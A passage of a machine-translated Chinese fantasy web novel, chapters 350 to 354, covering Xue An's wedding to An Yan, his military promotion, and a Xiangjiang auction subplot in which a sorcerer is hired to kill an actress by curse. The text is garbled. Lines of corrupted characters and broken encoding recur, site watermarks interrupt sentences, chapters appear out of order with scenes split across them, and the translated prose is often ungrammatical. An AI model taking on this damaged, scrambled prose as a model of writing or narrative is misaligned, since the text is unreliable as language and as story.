    It''s a pity that this thing is tasteless, and it happens to be given out as a red envelope this time.


    After all, something that is not worth mentioning to Xue An, to ordinary people, is the existence of heaven, material and earth.


    When he walked through the flower corridor and came to the door of the room, the door was closed tightly, and there were bursts of women''s laughter.


    Xue An smiled slightly and knocked on the door gently.


    "Who came from?" A female voice came from inside.


    "Come and welcome you!"


    "Who is welcome?"


    "An Yan!"


    "Who is An Yan?"


    "My wife!"


    "I didn''t hear it, speak louder!" yelled inwardly.


    Xue An smiled. Even if he is Xianzun, he has to be honest and obedient today, so he shouted: "I want to take my wife Anyan home!"


    The sound of ���� made a lot of petals fall on the flower gallery.


    whispers came from inside. Although the voice is very low, Xue An can hear it.


    "Do you want to open it?"


    "Wait a little longer!"


    "But the elders in the family said, just a little bit of teasing, after all, Mr. Xue is honorable!"


    "At least let him sing a song!"


    Xue An heard this, and didn''t wait to talk inside, he smiled: "I''ll sing a song for you. If you sing well, I will open the door! How?"


    "it is good!"


    And everyone who followed Xue An also wanted to laugh.


    What song is Mr. Xue going to sing? The little rabbit is good?


    "This song, in fact, is the only one I know, because it is also her favorite song. At the beginning, the two of us were listening to this song and watching the stars on the balcony. This time, I will sing it to you! Xue An said softly, and then sang.


    "The sparrow outside the window talks a lot on the telephone pole. You say this, it feels like summer..."


    The surrounding area gradually calmed down.


    Xue An��s voice is not professional, and Xue An does not want to sing professionally.


    He was just singing this song with the feelings of that ignorant boy three thousand years ago.


    ''S voice trembled slightly, but at the same time, it was full of memories as if it was carrying the warm afternoon sun.


    Everyone listened quietly.


    Singing, Xue An seemed to have returned to those nights and saw the pair of lovers hugging each other quietly.


    That kind of beauty is the whole reason that has supported Xue An through three thousand years.


    And on the big bed in the room, An Yan with a red hijab already burst into tears.


    After ���� sang a song, there was silence for a while, and then thunderous applause broke out.


    "Okay! That''s great!" Some people can only shout hello without stopping.


    Some people have tears in their eyes and applaud silently. It seems that Xue An��s singing also evoked memories deep in their hearts.


    Only Xue Xiang and Xue Nian didn''t feel the slightest feeling in the audience. They knocked on the door and said, "Mom, we and Dad are here to pick you up! Open the door!"


    The voice of milk and milk dispelled the sadness just now.


    The door was opened.


    Tang Xuan''er, Qin Yu and Xue Lan stepped forward and started to distribute red packets.


    Griffin''s distressed face twisted behind.


    He has never seen such a luxury, and actually uses Lingshi to make red envelopes.


    Your lord, you can be a real prodigal sometimes! Griffin thought of it secretly deep in his heart.


    When I walked inside, UU reading saw that the large room was decorated warmly and romantically. On the big bed in the middle, An Yan with a hijab was sitting quietly.


    Xue An stepped forward, came to the bed, and watched quietly.


    The room gradually calmed down.


    With a red hijab behind, Xue An can still see the tears on An Yan''s face.


    His heart suddenly hurt.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    Then he knelt on one knee slowly.


    As he knelt down, the crowd watching from behind let out a low exclamation.


    Many people thought that based on Xue An��s character, they would never kneel.


    Xue An ignored these. In his eyes, at this moment, there was only An Yan who was trembling all over his body, and then he smiled.


    "Wife, come home with me!"


    There is no such thing as marry me, just one sentence, come home with me!


    Many people nodded secretly, and sure enough, this is in line with Xue An''s character.


    As he said, Xue An gently raised An Yan''s hand and slowly put on the mustard ring.


    Many people in the room were a little surprised.


    After all, this mustard ring is gray and inconspicuous.


    How could you give such a ring?


    Griffin was a little dissatisfied with the weird gazes of many people, so he deliberately said loudly: "This ring is nowhere to be found in the whole world! It is a spatial ring, and a mountain can be placed inside!"

 Chapter 350： 0 will congratulate

    This sentence shocked many people who were a little despised.


    Wei Rulan in the distance was even more shocked, muttering: "Nasumi Yu mustard seed, I thought this kind of thing was just a legend, but I didn''t expect it to exist!"


    And after waiting for many people to learn about the magic and preciousness of this ring from others, they all looked at An Yan with extremely envious eyes.


    Especially many girls are going crazy with envy.


    Xue An''s thoughtfulness and gentleness, domineering and gold, handsome and tough, all make these girls envious.


    An Yan stood up under Xue An''s support, and naturally carried it into Xue An''s arm, and walked out together.


    Xue Xiang and Xue Nian followed closely, and the two little girls today are also in fine-worked children''s dresses.


    When the family walked together, I don��t know how many envy and amazing eyes were attracted.


    waited into the banquet hall.


    The atmosphere reached a climax.


    Chen Xiuhe and many others all stood up to greet the new couple.


    Xue An nodded slightly at the crowd.


    And at this moment, I saw hearty laughter coming from outside.


    "General Xue, congratulations!"


    General Xue?


    What is this name? Many people are wondering.


    I saw a large group of people filed in from outside the door.


    The appearance of these people shocked everyone in the audience.


    Because the group of people who came are basically generals, and there are so many, it seems that all the generals in Zhongdu have come.


    Someone trembled: "Hundred generals congratulations!"


    Many people were shocked.


    There is a legend in China that if hundreds of generals appear at the wedding to celebrate together, then the couple will always be happy.


    Of course, this is often regarded as a legend.


    After all, who can invite a hundred generals when they get married?


    But today, Xue An did it.


    The leader is that Lieutenant General Yang.


    He came forward with a smile on his face and held Xue An''s hand, "General Xue, there was a slight delay on the road, and it turned out to be late!"


    A smile appeared at the corner of Xue An''s mouth, and then he glanced at Chen Xiuhe, who was standing aside with a full face, knowing that he must have done this.


    Although Xue An doesn''t catch a cold at all for what Baijiang Hexi.


    But since they are here and they have given such a good prize, they have to think about some affection.


    So he smiled and nodded, "Thank you all the generals for coming!"


    "General Xue is polite. You and I are all colleagues. If you get married, we will naturally come and disturb a glass of drink!" Lieutenant General Yang said with a smile.


    Many people can''t help it.


    colleagues?


    Also a mouthful of General Xue!


    what''s the problem?


    At this time, Lieutenant General Yang looked at the puzzled gazes around him, and smiled slightly, "You may not know! General Xue was originally the Major General Suzaku who was promoted by General Lin himself, and after this time, we felt that General Xue had done too much. Many, so I decided to promote General Xue to Lieutenant General!"


    Boom!


    The audience was shocked.


    Lieutenant General?


    This is a real high-ranking military rank in China!


    is second only to generals and generals!


    This time, I don''t know how many enviable eyes focused on Xue An.


    Xue An just smiled and nodded, "Thank you all for your love, generals!"


    Lieutenant General Yang laughed, "General Xue is too polite! With your credit, this is what it deserves!"


    said, he personally took out the lieutenant-admiral medal and pinned it to Xue An''s chest.


    Next is the banquet time.


    Many more people came today than expected.


    But Chen Xiuhe was prepared.


    He had already rounded up all the back kitchens of the famous restaurants in Zhongdu in advance.


    Now several big chef teams are busy behind.


    The food is usually served under running water.


    Xue An and everyone naturally have to eat this meal before they can take An Yan home.


    And China��s rules, today��s bridegroom officer, no matter who comes to toast, he must drink it.


    Many people are holding this joke of Xue An.


    And Chen Xiuhe has also found a few people with a lot of alcohol to replace Xue An at any time.


    What I didn��t expect was that Xue An��s cup came and did it without any refusal.


    quickly brought down a large group of people.


    And if there were any more unconvinced, Xue An did not pour the wine at all, and just drank it bottle by bottle.


    Those are 53 degrees Maotai!


    But Xue An, just like drinking water, even dried ten bottles.


    This shock shocked everyone in the audience.


    no one dared to come forward to challenge,


    But Xue An is not drunk.


    even drunk these generals by the way.


    In the end, Lieutenant General Yang''s tongue was even a little bigger, and he pulled Xue An and started talking nonsense.


    "General Xue, the information you gave to our country last time, but it helped a lot... Um..."


    Xue An smiled and asked Qin Yu to send a red envelope to each general.


    "What is this?" someone asked in surprise.


    Xue An said indifferently: "The last time I gave you the exercises, there will be bottlenecks in the later stages of cultivation, and this spiritual stone can help break through!"


    Xue An''s words made the generals all drunk, and green light appeared in their eyes.


    "General Xue, are there any more?" Lieutenant General Yang asked impatiently.


    Xue An smiled, "There are some of these things, but there is no time to take them out now!"


    As he said, Xue An stood up, took a glass of wine, and nodded to everyone in the room: "Everyone is here to congratulate me, I toast everyone!"


    Speaking, Xue An drank it all.


    Everyone applauded and cheered.


    Xue An smiled, then leaned down and said to An Yan: "Go, let''s go home!"


    An Yan stood up obediently.


    Everyone automatically gave way to a path.


    An Yan and Xue An go hand in hand.


    Anqing followed with tears in her eyes, and her sister finally found her life''s home and happiness.


    Naturally, her heart is full of joy.


    Many people went to Beijiang this time.


    In addition to An Qing, who are definitely going to go, Chen Xiu and Chen Rushi, Wei Ruyan, Wei Rulan, and Yang Lieutenant will all follow along to see off their relatives.


    After ���� and many others boarded the plane, they left Zhongdu in the envy of others and flew towards Beijiang.


    Having been waiting for the plane to see the shadow, someone sighed, "This wedding is truly unique in the world!"


    Then this group of talents dispersed separately ~ www.novelhall.com~ The girls who accompanied An Yan also returned home.


    After one of them got home, he talked about what happened today enthusiastically.


    "I went this time, did you give you a red envelope?"


    She didn''t suddenly remember the red envelope given by Xue An until the family asked it, and quickly took it out.


    "I don''t know what red envelope our Mr. Xue will give?"


    "I guess it''s gold! Otherwise, it can''t be so bulging!"


    can wait to open and see, there is a brilliant jade inside.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "What is this thing?" The family was wondering.


    A phone rang, and after the owner answered, his expression gradually became serious.


    "Yes! Yes! I will give things to the country!"


    When I hung up, someone asked: "What''s wrong?"


    The Patriarch smiled bitterly, then glanced at the jade reluctantly.


    "It was a call from the army just now. This jade is a kind of treasure, and we must hand it over to the country!"


    "How about that? What we got..."


    "It''s not for nothing, it will give our family enough in return!"


    No one said anything.


    Everyone looked at this jade quietly.


    The girl suddenly regretted it. If she had asked for an extra red envelope at that time, it would be great!

 Chapter 351： Heaven and earth are not worth, but you are worth

    Beijiang.


    The plane stopped slowly.


    When Xue An and An Yan walked down the spiral staircase.


    Countless fireworks flew into the sky and exploded gradually, reflecting the night sky of Beijiang like a kaleidoscope.


    A red carpet leads from the temporary airport to Villa No.1 Tianzi.


    Xue An and An Yan walked past hand in hand.


    Behind him is a large exploded fireworks, and in front of him are countless staring eyes.


    All these make An Yan a little nervous.


    Xue An was aware of this, and shook An Yan''s hand hard, and said softly: "Don''t be afraid!"


    An Yan gave a low hum.


    But shortly afterwards, there were a few growlings in her stomach.


    Xue An laughed dumbly and whispered: "Are you hungry?"


    Although there is a hijab, Xue An can still see, An Yan''s face starts to turn red at a speed visible to the naked eye.


    Actually since yesterday, Anyan hasn''t eaten anything seriously. Now that I smell the aroma of the food, I am naturally a little hungry.


    "Wait a little longer, I will cook for you!"


    "Hmm!" An Yan nodded happily.


    "Dad, Nian Nian is hungry too!"


    Xue Nian who followed behind heard the cooking, and said with drooling.


    , who was pulling her wedding dress for her mother, couldn��t help but say, ��Did you just ate a piece of cake on the plane?��


    "But the cake is not good, dad cooks it!" Xue Nian said grievously.


    "You ate so much in a bad time!"


    "Say me, you eat a lot!" Xue Nian said unconvinced.


    "That''s not as much as you can eat!"


    "Sister eats a lot!"


    The two little girls started to quarrel with each other again.


    Xue An and An Yan smiled at each other, and then Xue An held An Yan''s hand and walked slowly towards the wedding venue.


    What he promised to this girl will be honored one by one.


    This wedding is just the beginning.


    "Baitiandi!"


    According to the customs of Beijiang, the most important ceremony for a newcomer is to worship at the last place.


    But when Song Yi shouted these words, many people couldn''t help but hesitate.


    Such as Tang Xuan''er.


    She looked at the stage with some worry.


    Xue An is so tough, will you kneel down?


    In the worried eyes of everyone, Xue An smiled slightly, and kneeled to the ground with An Yan.


    An Yan said excitedly: "My husband..."


    Xue An whispered: "It''s okay, heaven and earth are not worth it, but you are worth it!"


    ''S words made An Yan suddenly choked.


    And this scene was also seen by Fan Mengxue who rushed to the scene.


    She stood in the distance, looking at the new couple on the stage, her eyes were lost.


    "Mengxue!" Han Yao shouted with some worry.


    She was afraid that Fan Mengxue could not bear this blow.


    I didn''t expect Fan Mengxue to smile.


    "Did you find out? When he wears a dress, he is so handsome!"


    Han Yao couldn''t help but worry more, "Mengxue, if you feel uncomfortable, cry out!"


    "Cry? Why are you crying? He is married and he is so happy. I am too happy to have time! Go, let''s drink his wedding wine!" Fan Mengxue smiled and walked into the venue.


    Her arrival also caused a commotion among the crowd.


    "Hey, it''s Fan Mengxue!"


    "Didn''t she go abroad? Why is she back now?"


    Many people exclaimed.


    Tang Xuan''er was also taken aback, and hurried over.


    "Mengxue!"


    Fan Mengxue smiled, "I''m late, but luckily I still caught up!"


    Tang Xuan''er nodded, but turned her head a little unbearably, as if she didn''t dare to look at Fan Mengxue''s smile.


    Wait for the etiquette to end.


    The wedding banquet officially begins.


    The top chefs from Beijiang and the provincial capital have been waiting for them. Upon hearing the order to open the table, they immediately started cooking.


    The exquisite dishes come up like flowing water, and the aroma is enough to make the index finger move.


    At this time, An Yan shouted in surprise: "Mengxue!"


    Fan Mengxue nodded, smiled and said, "Happy wedding!"


    The scene between the two of them made many people feel a little surprised.


    is so harmonious?


    Then Fan Mengxue smiled at Xue An, and extended his hand generously, "Congratulations!"


    Xue An smiled, stretched out his hand and shook it lightly, "I''m going to fly to Europe to catch you back again!"


    Fan Mengxue smiled, but did not speak.


    "It just happened to be here, I will make you something fresh!"


    said, Xue An turned around and went to the back kitchen.


    When the people who were busy in the back kitchen saw him coming, they all bluffed.


    "Mr. Xue, what are you doing? There is soot here, you should go ahead!"


    "Don''t worry about me, give me a stove!"


    Everyone didn''t know what Xue An was going to do, but they still freed up a fire stove as instructed.


    Xue An took out the octopus monster meat he got that day, and started skewers swiftly.


    then put it on the fire and roast it.


    Soon, a strange fragrance floated out.


    Many people are surprised by the fragrance.


    "What is Mr. Xue doing? It smells so good?"


    But Xue An didn''t care about the surprise of others, and quickly grilled the meat skewers, and then took it outside.


    An Yan was already starving at this moment, Xue An handed one over, "Try it!"


    An Yan did not hesitate to take it, first took a bite, and then his eyes lit up.


    "Really delicious!"


    The remaining Xue An was divided among the people.


    The two little girls couldn''t wait to pick up one and ate.


    Everyone is full of praise.


    Tan Xiaoyu was slightly startled after eating a meat skewers.


    After the meat was eaten into the stomach, it suddenly turned into a pure vitality, and even the cultivation base of the whole person seemed to be improved.


    What is this thing?


    At this time, many people also noticed the abnormality and expressed surprise.


    "Mr. Xue, what kind of meat is this? It''s so fragrant!" someone asked.


    Xue An smiled, "This is the meat of an octopus monster I caught a few days ago. After two or three hundred years of Taoism, it naturally tastes unusual!"


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    Many people heard this and their eyes were brightened.


    So, this meat actually comes from the meat of a monster that has lived for two to three hundred years?


    So soon, all these baked by Xue An were swept away.


    Only Fan Mengxue did not eat, she was drinking with a smile.


    Many people who admire her fame came to toast, and she did not refuse.


    The banquet lasted until late at night before it ended.


    When people finally start to disperse.


    Fan Mengxue was still drinking drunkly.


    Tang Xuan''er came over and sighed, "Okay, don''t drink it!"


    Fan Mengxue looked up at her, tears burst into her eyes, but smiled and said, "It''s okay, I just want to drink more of her wedding wine!"


    Tang Xuaner was silent, and then sat beside Fan Mengxue.


    "Actually, I know, why don''t you feel the same as me now?" Fan Mengxue said lightly.


    ''S words made Tang Xuan''er shake all over, she quickly turned her face away, not daring to let Fan Mengxue see the tears in her eyes.


    "There is nothing wrong with liking someone, but the fault lies. We didn''t meet him at the right time, did Xuan''er?" Fan Mengxue said softly.


    "You are really drunk! Let''s go, I will help you go back to sleep!" Tang Xuaner said after a moment of silence.


    Fan Mengxue shook his head, took another glass, and said in a drunken manner: "Who is drunk when I drink the last glass of wine?"


    then smiled and cried.

 Chapter 353： Bug Immortal

    A Fei suddenly stopped him again, "Wait, what does that person look like?"


    "It''s rustic, and he wears clothes similar to homespun. By the way, he also said he came from Yanaka!" The man said before he finished.


    A Fei has run away.


    "Brother Fei!" The man didn''t know what had happened, so he shouted.


    "I''ll take care of you when I come back!" A Fei shouted without looking back.


    When he came to the door, when he saw Lu Xia, all the rebelliousness on A Fei''s face disappeared, becoming extremely submissive and awe.


    "Master Gu!" A Fei opened the iron gate and said respectfully.


    Lu Xia said with a smile: "I wanted to call you, but I forgot your number. Fortunately, I had this note, so I asked for the way!"


    A Fei quickly took the package Lu Xia was carrying, and led the way diligently.


    Everyone who saw this scene was stunned.


    No one has seen such a submissive expression on the famous Fei Ge.


    The man with the sharp-mouthed monkey cheeks trembled even more.


    Does this rustic man have a big background?


    After arriving in a clean and unoccupied room, A Fei respectfully knelt down, "Master Gu, what are you doing here in Xiangjiang?"


    Lu Xia waved her hand, "This is not Worm Valley, you don''t need so much politeness. I am here in Xiangjiang this time for one thing!"


    "Is it the one from the auction?" A Fei said.


    "Hey, how do you know?"


    "I have a friend who recognizes several seniors in Xiangjiang. They have all talked about this auction, and heard from them that the thriving dragon crown jade is also for this thing."


    Lu Xia smiled, "This thing is more important to their Nanyang descending line, he will naturally come!"


    "Yes!" A Fei lowered his head in response.


    Lu Xia looked at him a few times, then frowned slightly, "How is your Gu Dao now? Use it to see!"


    A Fei shuddered, biting his scalp and displaying his own natal Gu.


    A small turquoise snake appeared in the room, which reduced the temperature in the room a lot.


    Lu Xia frowned, "That''s it?"


    A Fei nodded with a wry smile.


    "Your Gu Dao has degraded to this level. If you don''t work hard, you will be completely abolished in your life!" Lu Xia said, hating iron and steel.


    Afei lowered his head and said nothing.


    "Well, just a few days before the auction, I will teach you Gu technique."


    A Fei''s complexion was bitter, but he didn''t dare to defy, so he nodded and said, "Yes!"


    When Xue An''s family and Song Yi came to Xiangjiang.


    The greet scene was very grand.


    But many people came to Song Yi.


    As for Xue An, in order to avoid unnecessary troubles, he used blindfold methods for himself, An Yan and his two daughters.


    therefore looks like an ordinary family of four.


    After all, you can''t be wary of causing a sensation every time you go out.


    But this still attracted a lot of surprised eyes.


    Many people don''t know why this family will appear with Song Yi.


    Could it be a relative of Master Song?


    Many people thought of it.


    just returned to the hotel.


    Invitations from more than a dozen giants were sent over. They held a dinner party to help Song Yi.


    Xue An smiled and said, "It seems that you are quite mixed up in Xiangjiang!"


    Song Yi smiled bitterly, "These wealthy families are only because of the supernatural power of their husbands, so they can be so bowed to their heads. At best, I can be regarded as a spokesperson."


    Xue Nian asked from the side: "Dad, what is a spokesperson?"


    "You don''t know the spokesperson, it''s so stupid! The spokesperson is someone with salt!" Xue Xiang said.


    "Oh! That''s how it is!" Xue Nian nodded.


    Xue An and An Yan couldn''t help crying and laughing.


    And Song Yi even resisted laughing.


    Evening.


    In front of the Blairton Hotel.


    "Sister Xiaoqing, here it is!" said the agent.


    Gong Xiaoqing was in a daze, and it took a long time before he let out a cry.


    "Sister Xiaoqing, are you okay?" the agent asked with great concern.


    "It''s okay!" Gong Xiaoqing palely shook his head.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    and got out of the car.


    She always feels very upset today, it seems that something is always around her.


    Especially when you close your eyes, many terrifying ghosts appear in your mind.


    This feeling is terrible.


    "Miss Gong, hello!" At this moment, a handsome man walked over with a smile.


    Gong Xiaoqing looked at the man vigorously, and then nodded, "It turned out to be Mr. Zhang!"


    Zhang Dong is a male star that Xiangjiang has recently risen to fame, and Gong Xiaoqing is known as two new stars for men and women.


    This time more than a dozen wealthy people held a dinner party and invited them to come.


    Zhang Dong''s eyes swept across Gong Xiaoqing''s slender waist, and then he smiled and said, "Miss Gong, why is your face so bad?"


    "Maybe it''s because I haven''t rested for a few days!" Gong Xiaoqing said and walked inside.


    She doesn''t catch a cold to this Zhang Dong.


    is also an insider, she has naturally heard a lot of lace news about Zhang Dong, knowing that this is a young man, naturally wants to stay away from him.


    But Zhang Dong obviously didn''t intend to let Gong Xiaoqing go so easily, and walked behind.


    "Some time ago, I watched a scene from Miss Gong''s debut, and it was really good, especially the scene in the middle, which was really breathtaking." Zhang Dong said with a smile.


    Gong Xiaoqing''s complexion became a little awkward.


    When she first debuted , she did make a less popular movie.


    This is also the stain she tried hard to get rid of, but she didn''t want to be mentioned by Zhang Dong today.


    "What does Mr. Zhang mean?" Gong Xiaoqing said, holding back his anger.


    Zhang Dong shrugged, "It''s meaningless, I am exaggerating Miss Gong''s acting skills!"


    "Excuse me, Mr. Zhang and I haven''t gotten close to that level yet! Please be respectful!" After that, Gong Xiaoqing walked in with anger.


    Zhang Dong looked at her back, with a sullen smile on his face.


    "Hehe, just a bitch, pretend to be noble with me."


    Today''s banquet is very grand.


    A lot of people from wealthy families came, and there were stars like Zhang Dong and Gong Xiaoqing.


    People all came together in groups to chat, and Zhang Dong shuttled back and forth in various small circles like a fish in water.


    When Song Yi appeared, everyone smiled and greeted Song Yi.


    "Mr. Song!"


    "Master Song!"


    Song Yi smiled and nodded.


    And Xue An, who followed him, was ignored by everyone.


    After all, Xue An is so inconspicuous now that he can''t attract anyone''s attention.


    Zhang Dong, who had always been full of arrogance, saw Song Yi, put on a flattering color, and hurried forward.


    "Master Song, I am Zhang Dong. I have always admired your accomplishments in Feng Shui."

 Chapter 352： Nanyang Jiangtou

    Xue An��s wedding caused a huge sensation.


    Even though they did not go to the scene, there are still countless people who have seen the whole process of this wedding through various channels.


    Needless to say, the big handwriting, more importantly, the romance that must overflow makes many girls envious.


    For a while, the slogan of marrying someone should marry Mr. Xue became popular on the Internet.


    But just when there was a lot of noise outside.


    Xue An, An Yan and two little girls hid in their former homes.


    Of course, this place does not have the luxury and spaciousness of Tianzi No. 1 Villa.


    But the value it represents cannot be replaced anywhere.


    What''s more, when countless media are chasing and intercepting over there, just to get more information about Xue An.


    The purity here is even more precious.


    On the second day of the wedding, Zhao Xuehui and others returned to Zhongdu first.


    They are now the high-level backbone of Tianyuan, and they will cause great losses if they leave for a day.


    Chen Xiuhe and Wei Ruyan also left together.


    After they left, Xue An''s warm home still looked very lively.


    For example, Tang Xuan''er, Fan Mengxue, Song Yi and others would come to eat dinner every day.


    laughter and laughter always fill this small room.


    Until three days later, in an unmanned morning, Fan Mengxue quietly left Zhongdu and returned to Europe.


    Tang Xuan''er also went back to work.


    Everything is gradually getting back on track.


    Only Song Yi did not leave. He found Xue An that day.


    "My lord, it will be the days of the Xiangjiang auction in a few days, shall we go now?"


    Xue An nodded, "Okay!"


    It just so happened that Beijiang''s matter has also been dealt with, and it is time to take his wife and children on a warm honeymoon trip.


    Since Song Yi said that this auction is a bit interesting, let Xiangjiang be the first stop.


    Just when Xue An and Song Yi were preparing to set off for Xiangjiang.


    in a luxurious hotel.


    "Master Long, the news that I just received, the Insect Gu Immortal Lu Xia also arrived in Xiangjiang yesterday!"


    "I see, get out!" Long Guanyu said indifferently.


    "Yes!"


    After ���� waited for the informant to retreat, a dignified look appeared on the face of Dragon Crown Jade''s ancient well-like Buddha.


    "Lu Xia, if you don''t play bugs in Miaoxian Valley, why do you come to Xiangjiang? Could it be...you are also interested in this auction?" Long Guanyu whispered to himself.


    At this time, someone knocked on the door again.


    "Come in!" Long Guanyu said, closing his eyes.


    After the door opened, a man and a woman walked in.


    A man in his fifties with a fat head and big ears, if the media should be able to recognize him, he is a well-known Hong Kong businessman Li Hou.


    while the girl is young and beautiful, she is also a popular actress Si Jin in Hong Kong.


    After seeing the dragon crown jade sitting on the chair with closed eyes, the two hurriedly bent over to salute.


    "Master Dragon!"


    "Let''s talk, what are you looking for?" Long Guanyu said lightly.


    Li Hou and Si Jin looked at each other, and then Si Jin trembled: "Master, I want you to help me deal with someone!"


    "Oh? Who?"


    "A little **** who presses on my head everywhere!" Speaking of this, Si Jin''s face showed resentment.


    "Ten million!" Long Guanyu said directly, he didn''t bother to care about the grievances between these people.


    Si Jin showed hesitation on his face. Ten million is not a small number.


    Then he said in a deep voice: "Master, if you kill the opponent, you won''t arouse others'' suspicion!"


    "Are you questioning my ability?" Long Guanyu frowned.


    A **** and fierce momentum enveloped her.


    Si Jin trembles, and quickly said: "Of course there is no doubt! Just ask casually! Master, can it be cheaper?"


    "It''s cheap? Haha, you can hire a white powder boy for five thousand yuan to clean up each other, that''s cheap!" Long Guanyu closed his eyes after saying.


    Si Jin gritted his teeth, "Ten million is ten million! As long as you can kill the opponent, you can say anything!"


    "Give me the eight characters!" Long Guanyu said lightly after receiving the money.


    Sijin had prepared for a long time, and passed a note with the characters of the enemy.


    Long Guanyu took a look after taking it, and a smile appeared at the corner of his mouth.


    "Gong Xiaoqing, the female star who just won the newcomer of the year?"


    Si Jin lowered his head deeply.


    "Okay, let''s go, in three days, you will be able to see news of her violent death in the newspaper!"


    Si Jin hesitated a little, and wanted to say something, Li Hou had already pulled her up, and then smiled at Dragon Crown Yu.


    "In that case, Master Long, let''s go first!"


    Long Guanyu closed his eyes and hummed softly.


    When Si Jin followed Li Hou out of the hotel, he couldn''t help but said: "Boss, can this Master Long really do it? After all, it is 10 million. What if he can''t do it?"


    Li Hou smiled, "What do you know? This Master Long has made a dozen shots since he arrived in Xiangjiang three months ago, and he has never broken his promise! And his unpredictable method is from Nanyang''s head-down technique. It''s very evil! If you just asked questions and annoyed him, even you would not be better!"


    Si Jin took a breath, and didn''t dare to speak.


    In the hotel room, the note in Long Guanyu''s hand, who was closing his eyes and rested, suddenly lit a group of ghost fire, and then disappeared.


    This is a very dirty alley in Xiangjiang.


    Disgusting garbage and sewage are scattered on the ground.


    Lu Xia walked slowly through the alley and came to a house with a closed door deep in the alley, and knocked gently on the door Who? "The door opened, and a man with a sharp-mouthed monkey gill said impatiently behind the iron fence.


    Lu Xia handed over a note and said in a heavy dialect: "I''m looking for Afei!"


    The man looked at Lu Xia a few times.


    Lu Xia wears clothes cut out of homespun cloth made at home. The color of the wash is already gray, and it looks very rustic.


    The man couldn''t help being a little disdainful, and said arrogantly: "Who are you, you are actually looking for us Fei!"


    "Just tell him, people from Yanaka are good!" Lu Xia rubbed a pair of big hands that seemed rough because of frequent work, and smiled honestly.


    "Okay, you wait!" The man left impatiently.


    Lu Xia looked at the surrounding environment, and said helplessly: "A Fei actually settled in such a place, staying in such a place for a long time, sooner or later will kill the Gu heart!"


    A Fei is only in his twenties this year, with a face full of rebelliousness. At this moment, he is staring at Marseille on TV.


    The man with the sharp-mouthed monkey cheek came inside.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "Brother Fei, someone is looking for you outside!"


    A Fei frowned, and said impatiently, "Who, haven''t you seen me busy?"


    "do not know!"


    "Let him go if you don''t know it!" A Fei said grimly, tearing the lost betting ticket to pieces.


    "Okay!" The man turned to go.

 Chapter 354： Gong Xiaoqing

    Song Yi looked at Zhang Dong with a smile on his face, did not stretch out his hand, just nodded slightly, and then continued to walk forward.


    Zhang Dong stood in the distance with an embarrassed face, his expression a little uncertain.


    This kind of party is actually very boring.


    So An Yan and the two little girls did not come.


    Xue An looked at Song Yi, who was chatting and laughing with a few big family members, and shook his head secretly, then found a corner to sit down and started drinking red wine comfortably.


    But his eyes were quickly attracted by Gong Xiaoqing, who was sitting not far away, with a pale face.


    This woman is carrying something interesting! Xue An sipped the red wine and thought silently.


    It seemed that he felt Xue An''s gaze. Gong Xiaoqing looked up and saw a young man sitting not far away. Seeing himself looking up at it, the young man raised his glass to signal to himself.


    Gong Xiaoqing thought he would be impatient, but when he met the young man''s gaze, the nausea and fear that had been entangled in his heart suddenly disappeared, and he felt a very comfortable silence.


    what.


    Gong Xiaoqing let out a whisper in his heart, and couldn''t help but become interested in Xue An, so he also raised his glass.


    Xue An smiled faintly, took a sip of red wine, and then lowered his head to stop looking at her.


    Gong Xiaoqing is carefully looking at Xue An.


    Xue An still uses the blindfold method to hide his true colors.


    So it looks like an ordinary person.


    I don��t see much in terms of dressing, but I think this young man has a very noble temperament.


    Gong Xiaoqing thought in his heart, a ghost stood up and walked towards Xue An.


    "Hello!" Gong Xiaoqing stood in front of Xue An and said with a smile.


    Xue An raised his head, nodded slightly, and said lightly: "Hello!"


    Gong Xiaoqing was a little surprised. She thought she would see a smile of joy on Xue An''s face, but she didn''t. Even his eyes were so calm and calm.


    "Can I sit here?" Gong Xiaoqing felt more and more curious in her heart, pointing to Xue An''s side and asked.


    Xue An smiled, "Please!"


    Gong Xiaoqing sat down and looked at Xue An up close again.


    What she was curious about was why such plain facial features had such bright and deep eyes.


    At the same time, Xue An has a very nice fragrance.


    Gong Xiaoqing only felt that his groggy head suddenly became sober after smelling the fragrance.


    "This gentleman is very face-to-face." Gong Xiaoqing said.


    "Oh, I just came from the mainland!" Xue An said lightly.


    Oh, no wonder.


    "Then Master Song and you..."


    "He is one of my uncles from a distant house!" Xue An lied casually.


    "Oh! My name is Gong Xiaoqing, I am glad to meet you!" Hearing that Xue An is not a well-known person or the son of a rich man, Gong Xiaoqing felt a little disappointed in his heart, but smiled and stretched out a hand.


    Xue An did not move, just glanced at that slender jade hand, smiled slightly: "Miss Gong seems to be a star?"


    Gong Xiaoqing retracted his hand in embarrassment and nodded, "Yes!"


    "Oh! No wonder!" Xue An muttered to himself softly.


    "Huh? Is there any problem?" Gong Xiaoqing didn''t understand, so he asked.


    "It''s okay!" Xue An shook his head.


    And just when Gong Xiaoqing had been working hard to talk with Xue Anpan.


    Zhang Dong in the distance looked at him with a bad look.


    Who is this man who talked and laughed with Gong Xiaoqing?


    The face I have never seen before!


    Could it be that he came with Master Song?


    Zhang Dong thought to himself, and then walked over.


    "Miss Gong, why are you sitting here?" Zhang Dong said with a grin.


    When I saw him, Gong Xiaoqing''s expression became difficult to look.


    "Mr. Zhang, you don''t need to ask you where I am sitting!"


    "Of course not!" Zhang Dong said, but his eyes were all on Xue An.


    This man has an ordinary appearance, who is it?


    "This friend, it''s nice to meet you, I''m Zhang Dong!" Zhang Dong proudly stretched out his hand and looked at Xue An condescendingly.


    In his opinion, as long as he signs up, then this man will definitely be shocked.


    But he was disappointed.


    Xue An didn''t even look up at him, still sitting comfortably on the sofa sipping red wine.


    Zhang Dong''s complexion became difficult to look, and after retracting his hands very annoyed, he said in a deep voice, "Is this gentleman''s ears? Otherwise, why can''t you hear others?"


    As he said, a mocking smile appeared on Zhang Dong''s face, and he wanted to continue talking, Xue An raised his eyes and glanced at him.


    At this indifferent glance, Zhang Dong felt that his whole body was frozen, and he could not even move his eyelids.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    Then Xue An lowered his eyes and said a word faintly.


    "Go!"


    Zhang Dong felt as if someone had hit his chest with a heavy hammer. He staggered back a few steps, his face turned white, and there was some fear in Xue An''s eyes.


    Xue An didn''t bother to take care of such goods, but turned to Gong Xiaoqing, who was surprised and said: "Miss Gong, have you always felt uneasy in the past two days?"


